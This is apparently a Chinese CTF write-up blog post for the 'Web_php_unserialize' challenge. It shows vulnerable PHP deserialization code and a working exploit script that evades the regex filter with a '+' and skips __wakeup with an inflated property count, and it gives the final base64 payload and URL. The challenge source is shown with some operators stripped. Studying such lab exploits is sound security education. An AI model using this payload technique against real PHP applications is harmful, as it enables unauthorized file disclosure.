shacker_shen

导航

攻防世界之Web_php_unserialize

题目:

<?php 
class Demo 
    private $file 'index.php';
    public function __construct($file) { 
        $this->file $file
    }
    function __destruct() { 
        echo @highlight_file($this->filetrue); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file 'index.php'
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i'$var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 

?>

======================================================================================

解题思路:

对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了

在类Demo中有一个私有变量,三个方法分别是一个构造,一个析构,还有就是一个魔术方法。

构造函数__construct()在程序执行开始的时候对变量进行赋初值。

析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。

在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

======================================================================================

解答过程:代码在线运行工具https://tool.lu/coderunner/

<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
    $this->file = $file;
    //$this->file1 = $file1;
}
function __destruct() {
    echo @highlight_file($this->file, true);
}
function __wakeup() {
    if ($this->file != 'index.php') {
        //the secret is in the fl4g.php
        $this->file = 'index.php';
    }
}
}
$a = new Demo("fl4g.php");    // 创建一个对象
echo serialize($a)."\n";    // 序列化
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$b = serialize($a);
$b = str_replace('O:4','O:+4',$b);  // 使用+号绕过preg_match()正则匹配
echo $b."\n";    //
$b = str_replace(':1:',':2:',$b);    // 当成员属性数目大于实际数目时可绕过wakeup方法
echo $b."\n";
echo base64_encode($b);
// 答案:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
 ?>

 在url中加入:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag如下图:

 

 

=======================================================================================

总结:

1.进行代码审计,发现为反序列,如果一个类定义了wakup()和destruct(),则该类的实例被反序列化时,会自动调用wakeup(), 生命周期结束时,则调用desturct()

2.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。

3.通过+号可以绕过正则匹配preg_match()

posted on 2022-02-19 18:39  shacker_shen  阅读(190)  评论(0编辑  收藏  举报